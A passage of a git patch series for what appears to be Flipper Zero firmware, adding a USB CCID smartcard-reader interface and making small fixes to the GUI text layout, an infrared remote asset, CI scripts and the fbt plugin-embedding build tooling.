usb_endpoint_descriptor ccid_bulk_in; + struct usb_endpoint_descriptor ccid_bulk_out; +} __attribute__((packed)); + +struct CcidConfigDescriptor { + struct usb_config_descriptor config; + struct CcidIntfDescriptor intf_0; +} __attribute__((packed)); + +enum CCID_Features_Auto_t { + CCID_Features_Auto_None = 0x0, + CCID_Features_Auto_ParameterConfiguration = 0x2, + CCID_Features_Auto_ICCActivation = 0x4, + CCID_Features_Auto_VoltageSelection = 0x8, + + CCID_Features_Auto_ICCClockFrequencyChange = 0x10, + CCID_Features_Auto_ICCBaudRateChange = 0x20, + CCID_Features_Auto_ParameterNegotiation = 0x40, + CCID_Features_Auto_PPS = 0x80, +}; + +enum CCID_Features_ExchangeLevel_t { + CCID_Features_ExchangeLevel_TPDU = 0x00010000, + CCID_Features_ExchangeLevel_ShortAPDU = 0x00020000, + CCID_Features_ExchangeLevel_ShortExtendedAPDU = 0x00040000 +}; + +/* Device descriptor */ +static struct usb_device_descriptor ccid_device_desc = { + .bLength = sizeof(struct usb_device_descriptor), + .bDescriptorType = USB_DTYPE_DEVICE, + .bcdUSB = VERSION_BCD(2, 0, 0), + .bDeviceClass = USB_DEVICE_NO_CLASS, + .bDeviceSubClass = USB_DEVICE_NO_SUBCLASS, + .bDeviceProtocol = USB_DEVICE_NO_PROTOCOL, + .bMaxPacketSize0 = FIXED_CONTROL_ENDPOINT_SIZE, + .idVendor = CCID_VID_DEFAULT, + .idProduct = CCID_PID_DEFAULT, + .bcdDevice = VERSION_BCD(1, 0, 0), + .iManufacturer = UsbDevManuf, + .iProduct = UsbDevProduct, + .iSerialNumber = UsbDevSerial, + .bNumConfigurations = 1, +}; + +/* Device configuration descriptor*/ +static const struct CcidConfigDescriptor ccid_cfg_desc = { + .config = + { + .bLength = sizeof(struct usb_config_descriptor), + .bDescriptorType = USB_DTYPE_CONFIGURATION, + .wTotalLength = sizeof(struct CcidConfigDescriptor), + .bNumInterfaces = 1, + + .bConfigurationValue = 1, + .iConfiguration = NO_DESCRIPTOR, + .bmAttributes = USB_CFG_ATTR_RESERVED | USB_CFG_ATTR_SELFPOWERED, + .bMaxPower = USB_CFG_POWER_MA(100), + }, + .intf_0 = + { + .ccid = + {.bLength = sizeof(struct usb_interface_descriptor), + .bDescriptorType = USB_DTYPE_INTERFACE, + + .bInterfaceNumber = INTERFACE_ID_CCID, + .bAlternateSetting = 0x00, + .bNumEndpoints = 2, + + .bInterfaceClass = USB_CLASS_CCID, + .bInterfaceSubClass = 0, + .bInterfaceProtocol = 0, + + .iInterface = NO_DESCRIPTOR + + }, + .ccid_desc = + {.bLength = sizeof(struct usb_ccid_descriptor), + .bDescriptorType = USB_DTYPE_CCID_FUNCTIONAL, + .bcdCCID = CCID_CURRENT_SPEC_RELEASE_NUMBER, + .bMaxSlotIndex = 0x00, + .bVoltageSupport = CCID_VOLTAGESUPPORT_5V, + .dwProtocols = 0x01, //T0 + .dwDefaultClock = 16000, //16MHz + .dwMaximumClock = 16000, //16MHz + .bNumClockSupported = 0, + .dwDataRate = 307200, + .dwMaxDataRate = 307200, + .bNumDataRatesSupported = 0, + .dwMaxIFSD = 2038, + .dwSynchProtocols = 0, + .dwMechanical = 0, + .dwFeatures = CCID_Features_ExchangeLevel_ShortAPDU | + CCID_Features_Auto_ParameterConfiguration | + CCID_Features_Auto_ICCActivation | + CCID_Features_Auto_VoltageSelection, + .dwMaxCCIDMessageLength = 0x0c00, + .bClassGetResponse = 0xff, + .bClassEnvelope = 0xff, + .wLcdLayout = 0, + .bPINSupport = 0, + .bMaxCCIDBusySlots = 1}, + .ccid_bulk_in = + {.bLength = sizeof(struct usb_endpoint_descriptor), + .bDescriptorType = USB_DTYPE_ENDPOINT, + .bEndpointAddress = CCID_IN_EPADDR, + .bmAttributes = USB_EPTYPE_BULK, + .wMaxPacketSize = CCID_EPSIZE, + .bInterval = 0x05 + + }, + .ccid_bulk_out = + {.bLength = sizeof(struct usb_endpoint_descriptor), + .bDescriptorType = USB_DTYPE_ENDPOINT, + .bEndpointAddress = CCID_OUT_EPADDR, + .bmAttributes = USB_EPTYPE_BULK, + .wMaxPacketSize = CCID_EPSIZE, + .bInterval = 0x05}, + }, +}; + +static void ccid_init(usbd_device* dev, FuriHalUsbInterface* intf, void* ctx); +static void ccid_deinit(usbd_device* dev); +static void ccid_on_wakeup(usbd_device* dev); +static void ccid_on_suspend(usbd_device* dev); + +FuriHalUsbInterface usb_ccid = { + .init = ccid_init, + .deinit = ccid_deinit, + .wakeup = ccid_on_wakeup, + .suspend = ccid_on_suspend, + + .dev_descr = (struct usb_device_descriptor*)&ccid_device_desc, + + .str_manuf_descr = NULL, + .str_prod_descr = NULL, + .str_serial_descr = NULL, + + .cfg_descr = (void*)&ccid_cfg_desc, +}; + +static usbd_respond ccid_ep_config(usbd_device* dev, uint8_t cfg); +static usbd_respond ccid_control(usbd_device* dev, usbd_ctlreq* req, usbd_rqc_callback* callback); +static usbd_device* usb_dev; +static bool connected = false; +static bool smartcard_inserted = true; +static CcidCallbacks* callbacks[CCID_TOTAL_SLOTS] = {NULL}; + +static void* ccid_set_string_descr(char* str) { + furi_assert(str); + + size_t len = strlen(str); + struct usb_string_descriptor* dev_str_desc = malloc(len * 2 + 2); + dev_str_desc->bLength = len * 2 + 2; + dev_str_desc->bDescriptorType = USB_DTYPE_STRING; + for(size_t i = 0; i < len; i++) dev_str_desc->wString[i] = str[i]; + + return dev_str_desc; +} + +static void ccid_init(usbd_device* dev, FuriHalUsbInterface* intf, void* ctx) { + UNUSED(intf); + + FuriHalUsbCcidConfig* cfg = (FuriHalUsbCcidConfig*)ctx; + + usb_dev = dev; + + usb_ccid.dev_descr->iManufacturer = 0; + usb_ccid.dev_descr->iProduct = 0; + usb_ccid.str_manuf_descr = NULL; + usb_ccid.str_prod_descr = NULL; + usb_ccid.dev_descr->idVendor = CCID_VID_DEFAULT; + usb_ccid.dev_descr->idProduct = CCID_PID_DEFAULT; + + if(cfg != NULL) { + usb_ccid.dev_descr->idVendor = cfg->vid; + usb_ccid.dev_descr->idProduct = cfg->pid; + + if(cfg->manuf[0] != '\0') { + usb_ccid.str_manuf_descr = ccid_set_string_descr(cfg->manuf); + usb_ccid.dev_descr->iManufacturer = UsbDevManuf; + } + + if(cfg->product[0] != '\0') { + usb_ccid.str_prod_descr = ccid_set_string_descr(cfg->product); + usb_ccid.dev_descr->iProduct = UsbDevProduct; + } + } + + usbd_reg_config(dev, ccid_ep_config); + usbd_reg_control(dev, ccid_control); + + usbd_connect(dev, true); +} + +static void ccid_deinit(usbd_device* dev) { + usbd_reg_config(dev, NULL); + usbd_reg_control(dev, NULL); + + free(usb_ccid.str_prod_descr); + free(usb_ccid.str_serial_descr); +} + +static void ccid_on_wakeup(usbd_device* dev) { + UNUSED(dev); + connected = true; +} + +static void ccid_on_suspend(usbd_device* dev) { + UNUSED(dev); + connected = false; +} + +struct ccid_bulk_message_header { + uint8_t bMessageType; + uint32_t dwLength; + uint8_t bSlot; + uint8_t bSeq; +} __attribute__((packed)); + +static struct rdr_to_pc_slot_status responseSlotStatus; +static struct rdr_to_pc_data_block responseDataBlock; +static struct rdr_to_pc_parameters_t0 responseParameters; +uint8_t SendDataBlock[CCID_DATABLOCK_SIZE]; + +uint8_t CALLBACK_CCID_GetSlotStatus(uint8_t slot, uint8_t* error) { + if(slot == CCID_SLOT_INDEX) { + *error = CCID_ERROR_NOERROR; + if(smartcard_inserted) { + return CCID_COMMANDSTATUS_PROCESSEDWITHOUTERROR | CCID_ICCSTATUS_PRESENTANDACTIVE; + } else { + return CCID_COMMANDSTATUS_PROCESSEDWITHOUTERROR | CCID_ICCSTATUS_NOICCPRESENT; + } + } else { + *error = CCID_ERROR_SLOTNOTFOUND; + return CCID_COMMANDSTATUS_FAILED | CCID_ICCSTATUS_NOICCPRESENT; + } +} + +uint8_t + CALLBACK_CCID_IccPowerOn(uint8_t slot, uint8_t* atrBuffer, uint32_t* atrlen, uint8_t* error) { + if(slot == CCID_SLOT_INDEX) { + *error = CCID_ERROR_NOERROR; + if(smartcard_inserted) { + if(callbacks[CCID_SLOT_INDEX] != NULL) { + callbacks[CCID_SLOT_INDEX]->icc_power_on_callback(atrBuffer, atrlen, NULL); + } else { + return CCID_COMMANDSTATUS_PROCESSEDWITHOUTERROR | + CCID_ICCSTATUS_PRESENTANDINACTIVE; + } + + return CCID_COMMANDSTATUS_PROCESSEDWITHOUTERROR | CCID_ICCSTATUS_PRESENTANDACTIVE; + } else { + return CCID_COMMANDSTATUS_PROCESSEDWITHOUTERROR | CCID_ICCSTATUS_NOICCPRESENT; + } + } else { + *error = CCID_ERROR_SLOTNOTFOUND; + return CCID_COMMANDSTATUS_FAILED | CCID_ICCSTATUS_NOICCPRESENT; + } +} + +uint8_t CALLBACK_CCID_XfrBlock( + uint8_t slot, + uint8_t* dataBlock, + uint32_t* dataBlockLen, + uint8_t* error) { + if(slot == CCID_SLOT_INDEX) { + *error = CCID_ERROR_NOERROR; + if(smartcard_inserted) { + if(callbacks[CCID_SLOT_INDEX] != NULL) { + callbacks[CCID_SLOT_INDEX]->xfr_datablock_callback(dataBlock, dataBlockLen, NULL); + } else { + return CCID_COMMANDSTATUS_PROCESSEDWITHOUTERROR | + CCID_ICCSTATUS_PRESENTANDINACTIVE; + } + + return CCID_COMMANDSTATUS_PROCESSEDWITHOUTERROR | CCID_ICCSTATUS_PRESENTANDACTIVE; + } else { + return CCID_COMMANDSTATUS_PROCESSEDWITHOUTERROR | CCID_ICCSTATUS_NOICCPRESENT; + } + } else { + *error = CCID_ERROR_SLOTNOTFOUND; + return CCID_COMMANDSTATUS_FAILED | CCID_ICCSTATUS_NOICCPRESENT; + } +} + +void furi_hal_ccid_ccid_insert_smartcard() { + smartcard_inserted = true; +} + +void furi_hal_ccid_ccid_remove_smartcard() { + smartcard_inserted = false; +} + +void furi_hal_ccid_set_callbacks(CcidCallbacks* cb) { + callbacks[CCID_SLOT_INDEX] = cb; +} + +static void ccid_rx_ep_callback(usbd_device* dev, uint8_t event, uint8_t ep) { + UNUSED(dev); + UNUSED(event); + UNUSED(ep); +} + +static void ccid_tx_ep_callback(usbd_device* dev, uint8_t event, uint8_t ep) { + UNUSED(dev); + + if(event == usbd_evt_eprx) { + if(connected == false) return; + + struct ccid_bulk_message_header message; + usbd_ep_read(usb_dev, ep, &message, sizeof(message)); + + uint8_t Status; + uint8_t Error = CCID_ERROR_NOERROR; + + uint32_t dataBlockLen = 0; + uint8_t* dataBlockBuffer = NULL; + + if(message.bMessageType == PC_TO_RDR_GETSLOTSTATUS) { + responseSlotStatus.bMessageType = RDR_TO_PC_SLOTSTATUS; + responseSlotStatus.dwLength = 0; + responseSlotStatus.bSlot = message.bSlot; + responseSlotStatus.bSeq = message.bSeq; + + responseSlotStatus.bClockStatus = 0; + + Status = CALLBACK_CCID_GetSlotStatus(message.bSlot, &Error); + + responseSlotStatus.bStatus = Status; + responseSlotStatus.bError = Error; + + usbd_ep_write( + usb_dev, CCID_IN_EPADDR, &responseSlotStatus, sizeof(responseSlotStatus)); + } else if(message.bMessageType == PC_TO_RDR_ICCPOWERON) { + responseDataBlock.bMessageType = RDR_TO_PC_DATABLOCK; + responseDataBlock.bSlot = message.bSlot; + responseDataBlock.bSeq = message.bSeq; + responseDataBlock.bChainParameter = 0; + + dataBlockLen = 0; + dataBlockBuffer = (uint8_t*)SendDataBlock; + Status = CALLBACK_CCID_IccPowerOn( + message.bSlot, (uint8_t*)dataBlockBuffer, &dataBlockLen, &Error); + + furi_assert(dataBlockLen < CCID_DATABLOCK_SIZE); + responseDataBlock.dwLength = dataBlockLen; + + responseSlotStatus.bStatus = Status; + responseSlotStatus.bError = Error; + + memcpy(responseDataBlock.abData, SendDataBlock, dataBlockLen); + usbd_ep_write( + usb_dev, + CCID_IN_EPADDR, + &responseDataBlock, + sizeof(struct rdr_to_pc_data_block) + (sizeof(uint8_t) * dataBlockLen)); + } else if(message.bMessageType == PC_TO_RDR_ICCPOWEROFF) { + responseSlotStatus.bMessageType = RDR_TO_PC_SLOTSTATUS; + responseSlotStatus.dwLength = 0; + responseSlotStatus.bSlot = message.bSlot; + responseSlotStatus.bSeq = message.bSeq; + + responseSlotStatus.bClockStatus = 0; + + uint8_t Status; + uint8_t Error = CCID_ERROR_NOERROR; + Status = CALLBACK_CCID_GetSlotStatus(message.bSlot, &Error); + + responseSlotStatus.bStatus = Status; + responseSlotStatus.bError = Error; + + usbd_ep_write( + usb_dev, CCID_IN_EPADDR, &responseSlotStatus, sizeof(responseSlotStatus)); + } else if(message.bMessageType == PC_TO_RDR_SETPARAMETERS) { + responseParameters.bMessageType = RDR_TO_PC_PARAMETERS; + responseParameters.bSlot = message.bSlot; + responseParameters.bSeq = message.bSeq; + responseParameters.bProtocolNum = 0; //T0 + + uint8_t Status = CCID_COMMANDSTATUS_PROCESSEDWITHOUTERROR; + uint8_t Error = CCID_ERROR_NOERROR; + + responseParameters.bStatus = Status; + responseParameters.bError = Error; + + responseParameters.dwLength = sizeof(struct rdr_to_pc_parameters_t0); + + usbd_ep_write( + usb_dev, CCID_IN_EPADDR, &responseParameters, sizeof(responseParameters)); + } else if(message.bMessageType == PC_TO_RDR_XFRBLOCK) { + responseDataBlock.bMessageType = RDR_TO_PC_DATABLOCK; + responseDataBlock.bSlot = message.bSlot; + responseDataBlock.bSeq = message.bSeq; + responseDataBlock.bChainParameter = 0; + + dataBlockLen = 0; + dataBlockBuffer = (uint8_t*)SendDataBlock; + Status = CALLBACK_CCID_XfrBlock( + message.bSlot, (uint8_t*)dataBlockBuffer, &dataBlockLen, &Error); + + furi_assert(dataBlockLen < CCID_DATABLOCK_SIZE); + responseDataBlock.dwLength = dataBlockLen; + + responseSlotStatus.bStatus = Status; + responseSlotStatus.bError = Error; + + memcpy(responseDataBlock.abData, SendDataBlock, dataBlockLen); + usbd_ep_write( + usb_dev, + CCID_IN_EPADDR, + &responseDataBlock, + sizeof(struct rdr_to_pc_data_block) + (sizeof(uint8_t) * dataBlockLen)); + } + } +} + +/* Configure endpoints */ +static usbd_respond ccid_ep_config(usbd_device* dev, uint8_t cfg) { + switch(cfg) { + case 0: + /* deconfiguring device */ + usbd_ep_deconfig(dev, CCID_IN_EPADDR); + usbd_ep_deconfig(dev, CCID_OUT_EPADDR); + usbd_reg_endpoint(dev, CCID_IN_EPADDR, 0); + usbd_reg_endpoint(dev, CCID_OUT_EPADDR, 0); + return usbd_ack; + case 1: + /* configuring device */ + usbd_ep_config(dev, CCID_IN_EPADDR, USB_EPTYPE_BULK, CCID_EPSIZE); + usbd_ep_config(dev, CCID_OUT_EPADDR, USB_EPTYPE_BULK, CCID_EPSIZE); + usbd_reg_endpoint(dev, CCID_IN_EPADDR, ccid_rx_ep_callback); + usbd_reg_endpoint(dev, CCID_OUT_EPADDR, ccid_tx_ep_callback); + return usbd_ack; + default: + return usbd_fail; + } +} + +/* Control requests handler */ +static usbd_respond ccid_control(usbd_device* dev, usbd_ctlreq* req, usbd_rqc_callback* callback) { + UNUSED(callback); + /* CDC control requests */ + if(((USB_REQ_RECIPIENT | USB_REQ_TYPE) & req->bmRequestType) == + (USB_REQ_INTERFACE | USB_REQ_CLASS) && + (req->wIndex == 0 || req->wIndex == 2)) { + switch(req->bRequest) { + case CCID_ABORT: + return usbd_fail; + case CCID_GET_CLOCK_FREQUENCIES: + dev->status.data_ptr = (void*)&(ccid_cfg_desc.intf_0.ccid_desc.dwDefaultClock); + dev->status.data_count = sizeof(ccid_cfg_desc.intf_0.ccid_desc.dwDefaultClock); + return usbd_ack; + default: + return usbd_fail; + } + } + return usbd_fail; +} \ No newline at end of file diff --git a/firmware/targets/furi_hal_include/furi_hal.h b/firmware/targets/furi_hal_include/furi_hal.h index 9341dccecb..e6fd9eb1cc 100644 --- a/firmware/targets/furi_hal_include/furi_hal.h +++ b/firmware/targets/furi_hal_include/furi_hal.h @@ -35,6 +35,7 @@ struct STOP_EXTERNING_ME {}; #include #include #include +#include #include #include #include diff --git a/firmware/targets/furi_hal_include/furi_hal_usb.h b/firmware/targets/furi_hal_include/furi_hal_usb.h index 8b49f6c653..a98797955d 100644 --- a/firmware/targets/furi_hal_include/furi_hal_usb.h +++ b/firmware/targets/furi_hal_include/furi_hal_usb.h @@ -28,6 +28,7 @@ extern FuriHalUsbInterface usb_cdc_single; extern FuriHalUsbInterface usb_cdc_dual; extern FuriHalUsbInterface usb_hid; extern FuriHalUsbInterface usb_hid_u2f; +extern FuriHalUsbInterface usb_ccid; typedef enum { FuriHalUsbStateEventReset, diff --git a/firmware/targets/furi_hal_include/furi_hal_usb_ccid.h b/firmware/targets/furi_hal_include/furi_hal_usb_ccid.h new file mode 100644 index 0000000000..e3ee0dfc38 --- /dev/null +++ b/firmware/targets/furi_hal_include/furi_hal_usb_ccid.h @@ -0,0 +1,31 @@ +#pragma once +#include "hid_usage_desktop.h" +#include "hid_usage_button.h" +#include "hid_usage_keyboard.h" +#include "hid_usage_consumer.h" +#include "hid_usage_led.h" + +#ifdef __cplusplus +extern "C" { +#endif + +typedef struct { + uint16_t vid; + uint16_t pid; + char manuf[32]; + char product[32]; +} FuriHalUsbCcidConfig; + +typedef struct { + void (*icc_power_on_callback)(uint8_t* dataBlock, uint32_t* dataBlockLen, void* context); + void (*xfr_datablock_callback)(uint8_t* dataBlock, uint32_t* dataBlockLen, void* context); +} CcidCallbacks; + +void furi_hal_ccid_set_callbacks(CcidCallbacks* cb); + +void furi_hal_ccid_ccid_insert_smartcard(); +void furi_hal_ccid_ccid_remove_smartcard(); + +#ifdef __cplusplus +} +#endif diff --git a/lib/libusb_stm32 b/lib/libusb_stm32 index 9168e2a31d..6ca2857519 160000 --- a/lib/libusb_stm32 +++ b/lib/libusb_stm32 @@ -1 +1 @@ -Subproject commit 9168e2a31db946326fb84016a74ea2ab5bf87f54 +Subproject commit 6ca2857519f996244f7b324dd227fdf0a075fffb From 3fbb9f24f841417505c540f142bd81d935c9be0e Mon Sep 17 00:00:00 2001 From: Astra <93453568+Astrrra@users.noreply.github.com> Date: Thu, 21 Sep 2023 18:29:28 +0900 Subject: [PATCH 20/40] [FL-3583] Fix multiline aligned text going out of bounds (again) (#3084) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Co-authored-by: あく --- applications/services/gui/elements.c | 1 + 1 file changed, 1 insertion(+) diff --git a/applications/services/gui/elements.c b/applications/services/gui/elements.c index 37ecfde4c6..a6ab84fb8d 100644 --- a/applications/services/gui/elements.c +++ b/applications/services/gui/elements.c @@ -290,6 +290,7 @@ void elements_multiline_text_aligned( } else if((y + font_height) > canvas_height(canvas)) { line = furi_string_alloc_printf("%.*s...\n", chars_fit, start); } else { + chars_fit -= 1; // account for the dash line = furi_string_alloc_printf("%.*s-\n", chars_fit, start); } canvas_draw_str_aligned(canvas, x, y, horizontal, vertical, furi_string_get_cstr(line)); From a73a83f04d74e66efbef695b1c5ecd6d78b64bf2 Mon Sep 17 00:00:00 2001 From: Robin Gareus Date: Thu, 21 Sep 2023 11:36:46 +0200 Subject: [PATCH 21/40] IR Universal Audio Remote: Amend 98d4309 -NAD Amp (#2954) (#3092) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The original PR was cut short Co-authored-by: あく --- assets/resources/infrared/assets/audio.ir | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/assets/resources/infrared/assets/audio.ir b/assets/resources/infrared/assets/audio.ir index 5cdc9048a8..d5a0f86dc3 100644 --- a/assets/resources/infrared/assets/audio.ir +++ b/assets/resources/infrared/assets/audio.ir @@ -424,4 +424,5 @@ command: 05 FA 00 00 name: Next type: parsed protocol: NECext -address: 87 7C 00 0 +address: 87 7C 00 00 +command: 06 F9 00 00 From b80dfbe0c5a8803f46404310220755dc6dee552e Mon Sep 17 00:00:00 2001 From: hedger Date: Thu, 21 Sep 2023 12:44:55 +0300 Subject: [PATCH 22/40] github: fixed grep arg for RC builds (#3093) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * github: fixed grep arg for RC builds * scripts: fbt: checking for .git existence, not for it being a dir Co-authored-by: あく --- .github/actions/submit_sdk/action.yml | 2 +- fbt | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/actions/submit_sdk/action.yml b/.github/actions/submit_sdk/action.yml index 269185d5ad..b515b52855 100644 --- a/.github/actions/submit_sdk/action.yml +++ b/.github/actions/submit_sdk/action.yml @@ -58,7 +58,7 @@ runs: echo "API version is already released" exit 0 fi - if ! echo "${{ inputs.firmware-version }}" | grep -q "-rc" ; then + if ! echo "${{ inputs.firmware-version }}" | grep -q -- "-rc" ; then SDK_ID=$(jq -r ._id found_sdk.json) echo "Marking SDK $SDK_ID as released" curl -X 'POST' \ diff --git a/fbt b/fbt index 471285a76c..26f325d455 100755 --- a/fbt +++ b/fbt @@ -25,7 +25,7 @@ if [ -z "$FBT_VERBOSE" ]; then fi if [ -z "$FBT_NO_SYNC" ]; then - if [ ! -d "$SCRIPT_PATH/.git" ]; then + if [ ! -e "$SCRIPT_PATH/.git" ]; then echo "\".git\" directory not found, please clone repo via \"git clone\""; exit 1; fi From 1891d54baf962b954b1541b8109bf842aed88273 Mon Sep 17 00:00:00 2001 From: hedger Date: Thu, 21 Sep 2023 15:56:00 +0300 Subject: [PATCH 23/40] [FL-3600] Added `fal_embedded` parameter for PLUGIN apps (#3083) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fbt, ufbt: added `fal_embedded` parameter for PLIGIN apps, to embed them into .fap * fbt: fixed dependency settings for assets * fbt: extapps: Removed unneeded casts * fbt: extapps: code simplification * fbt: fal_embedded: fixed dependency relations Co-authored-by: あく --- documentation/AppManifests.md | 1 + firmware.scons | 2 +- scripts/fbt/appmanifest.py | 13 ++++ scripts/fbt/fapassets.py | 28 +++++---- scripts/fbt_tools/fbt_extapps.py | 105 ++++++++++++++++++------------- 5 files changed, 93 insertions(+), 56 deletions(-) diff --git a/documentation/AppManifests.md b/documentation/AppManifests.md index b48a6b8edd..72c15ad48f 100644 --- a/documentation/AppManifests.md +++ b/documentation/AppManifests.md @@ -56,6 +56,7 @@ The following parameters are used only for [FAPs](./AppsOnSDCard.md): - **fap_weburl**: string, may be empty. Application's homepage. - **fap_icon_assets**: string. If present, it defines a folder name to be used for gathering image assets for this application. These images will be preprocessed and built alongside the application. See [FAP assets](./AppsOnSDCard.md#fap-assets) for details. - **fap_extbuild**: provides support for parts of application sources to be built by external tools. Contains a list of `ExtFile(path="file name", command="shell command")` definitions. **`fbt`** will run the specified command for each file in the list. +- **fal_embedded**: boolean, default `False`. Applies only to PLUGIN type. If `True`, the plugin will be embedded into host application's .fap file as a resource and extracted to `apps_assets/APPID` folder on its start. This allows plugins to be distributed as a part of the host application. Note that commands are executed at the firmware root folder, and all intermediate files must be placed in an application's temporary build folder. For that, you can use pattern expansion by **`fbt`**: `${FAP_WORK_DIR}` will be replaced with the path to the application's temporary build folder, and `${FAP_SRC_DIR}` will be replaced with the path to the application's source folder. You can also use other variables defined internally by **`fbt`**. diff --git a/firmware.scons b/firmware.scons index 657822700d..82f775d719 100644 --- a/firmware.scons +++ b/firmware.scons @@ -143,7 +143,7 @@ fwenv.PrepareApplicationsBuild() # Build external apps + configure SDK if env["IS_BASE_FIRMWARE"]: - fwenv.SetDefault(FBT_FAP_DEBUG_ELF_ROOT="${BUILD_DIR}/.extapps") + fwenv.SetDefault(FBT_FAP_DEBUG_ELF_ROOT=fwenv["BUILD_DIR"].Dir(".extapps")) fwenv["FW_EXTAPPS"] = SConscript( "site_scons/extapps.scons", exports={"ENV": fwenv}, diff --git a/scripts/fbt/appmanifest.py b/scripts/fbt/appmanifest.py index 7bb8e40b2d..ff49707b1d 100644 --- a/scripts/fbt/appmanifest.py +++ b/scripts/fbt/appmanifest.py @@ -79,11 +79,19 @@ class Library: fap_extbuild: List[ExternallyBuiltFile] = field(default_factory=list) fap_private_libs: List[Library] = field(default_factory=list) fap_file_assets: Optional[str] = None + fal_embedded: bool = False # Internally used by fbt _appmanager: Optional["AppManager"] = None _appdir: Optional[object] = None _apppath: Optional[str] = None _plugins: List["FlipperApplication"] = field(default_factory=list) + _assets_dirs: List[object] = field(default_factory=list) + _section_fapmeta: Optional[object] = None + _section_fapfileassets: Optional[object] = None + + @property + def embeds_plugins(self): + return any(plugin.fal_embedded for plugin in self._plugins) def supports_hardware_target(self, target: str): return target in self.targets or "all" in self.targets @@ -137,6 +145,11 @@ def _validate_app_params(self, *args, **kw): raise FlipperManifestException( f"Plugin {kw.get('appid')} must have 'requires' in manifest" ) + else: + if kw.get("fal_embedded"): + raise FlipperManifestException( + f"App {kw.get('appid')} cannot have fal_embedded set" + ) # Harmless - cdefines for external apps are meaningless # if apptype == FlipperAppType.EXTERNAL and kw.get("cdefines"): # raise FlipperManifestException( diff --git a/scripts/fbt/fapassets.py b/scripts/fbt/fapassets.py index 9902fd79a1..cd65ad20fb 100644 --- a/scripts/fbt/fapassets.py +++ b/scripts/fbt/fapassets.py @@ -1,7 +1,7 @@ import hashlib import os import struct -from typing import TypedDict +from typing import TypedDict, List class File(TypedDict): @@ -32,20 +32,19 @@ class FileBundler: u8[] file_content """ - def __init__(self, directory_path: str): - self.directory_path = directory_path - self.file_list: list[File] = [] - self.directory_list: list[Dir] = [] - self._gather() + def __init__(self, assets_dirs: List[object]): + self.src_dirs = list(assets_dirs) - def _gather(self): - for root, dirs, files in os.walk(self.directory_path): + def _gather(self, directory_path: str): + if not os.path.isdir(directory_path): + raise Exception(f"Assets directory {directory_path} does not exist") + for root, dirs, files in os.walk(directory_path): for file_info in files: file_path = os.path.join(root, file_info) file_size = os.path.getsize(file_path) self.file_list.append( { - "path": os.path.relpath(file_path, self.directory_path), + "path": os.path.relpath(file_path, directory_path), "size": file_size, "content_path": file_path, } @@ -57,15 +56,20 @@ def _gather(self): # os.path.getsize(os.path.join(dir_path, f)) for f in os.listdir(dir_path) # ) self.directory_list.append( - { - "path": os.path.relpath(dir_path, self.directory_path), - } + {"path": os.path.relpath(dir_path, directory_path)} ) self.file_list.sort(key=lambda f: f["path"]) self.directory_list.sort(key=lambda d: d["path"]) + def _process_src_dirs(self): + self.file_list: list[File] = [] + self.directory_list: list[Dir] = [] + for directory_path in self.src_dirs: + self._gather(directory_path) + def export(self, target_path: str): + self._process_src_dirs() self._md5_hash = hashlib.md5() with open(target_path, "wb") as f: # Write header magic and version diff --git a/scripts/fbt_tools/fbt_extapps.py b/scripts/fbt_tools/fbt_extapps.py index 6059628f00..aa6354c9e3 100644 --- a/scripts/fbt_tools/fbt_extapps.py +++ b/scripts/fbt_tools/fbt_extapps.py @@ -3,7 +3,7 @@ import pathlib import shutil from dataclasses import dataclass, field -from typing import Optional, Dict, List +from typing import Dict, List, Optional import SCons.Warnings from ansi.color import fg @@ -32,11 +32,15 @@ class FlipperExternalAppInfo: class AppBuilder: + @staticmethod + def get_app_work_dir(env, app): + return env["EXT_APPS_WORK_DIR"].Dir(app.appid) + def __init__(self, env, app): self.fw_env = env self.app = app - self.ext_apps_work_dir = env.subst("$EXT_APPS_WORK_DIR") - self.app_work_dir = os.path.join(self.ext_apps_work_dir, self.app.appid) + self.ext_apps_work_dir = env["EXT_APPS_WORK_DIR"] + self.app_work_dir = self.get_app_work_dir(env, app) self.app_alias = f"fap_{self.app.appid}" self.externally_built_files = [] self.private_libs = [] @@ -83,9 +87,9 @@ def _compile_assets(self): return fap_icons = self.app_env.CompileIcons( - self.app_env.Dir(self.app_work_dir), + self.app_work_dir, self.app._appdir.Dir(self.app.fap_icon_assets), - icon_bundle_name=f"{self.app.fap_icon_assets_symbol if self.app.fap_icon_assets_symbol else self.app.appid }_icons", + icon_bundle_name=f"{self.app.fap_icon_assets_symbol or self.app.appid }_icons", ) self.app_env.Alias("_fap_icons", fap_icons) self.fw_env.Append(_APP_ICONS=[fap_icons]) @@ -95,7 +99,7 @@ def _build_private_libs(self): self.private_libs.append(self._build_private_lib(lib_def)) def _build_private_lib(self, lib_def): - lib_src_root_path = os.path.join(self.app_work_dir, "lib", lib_def.name) + lib_src_root_path = self.app_work_dir.Dir("lib").Dir(lib_def.name) self.app_env.AppendUnique( CPPPATH=list( self.app_env.Dir(lib_src_root_path) @@ -119,9 +123,7 @@ def _build_private_lib(self, lib_def): private_lib_env = self.app_env.Clone() private_lib_env.AppendUnique( - CCFLAGS=[ - *lib_def.cflags, - ], + CCFLAGS=lib_def.cflags, CPPDEFINES=lib_def.cdefines, CPPPATH=list( map( @@ -132,14 +134,17 @@ def _build_private_lib(self, lib_def): ) return private_lib_env.StaticLibrary( - os.path.join(self.app_work_dir, lib_def.name), + self.app_work_dir.File(lib_def.name), lib_sources, ) def _build_app(self): + if self.app.fap_file_assets: + self.app._assets_dirs = [self.app._appdir.Dir(self.app.fap_file_assets)] + self.app_env.Append( LIBS=[*self.app.fap_libs, *self.private_libs], - CPPPATH=[self.app_env.Dir(self.app_work_dir), self.app._appdir], + CPPPATH=[self.app_work_dir, self.app._appdir], ) app_sources = list( @@ -155,32 +160,46 @@ def _build_app(self): app_artifacts = FlipperExternalAppInfo(self.app) app_artifacts.debug = self.app_env.Program( - os.path.join(self.ext_apps_work_dir, f"{self.app.appid}_d"), + self.ext_apps_work_dir.File(f"{self.app.appid}_d.elf"), app_sources, APP_ENTRY=self.app.entry_point, )[0] app_artifacts.compact = self.app_env.EmbedAppMetadata( - os.path.join(self.ext_apps_work_dir, self.app.appid), + self.ext_apps_work_dir.File(f"{self.app.appid}.fap"), app_artifacts.debug, 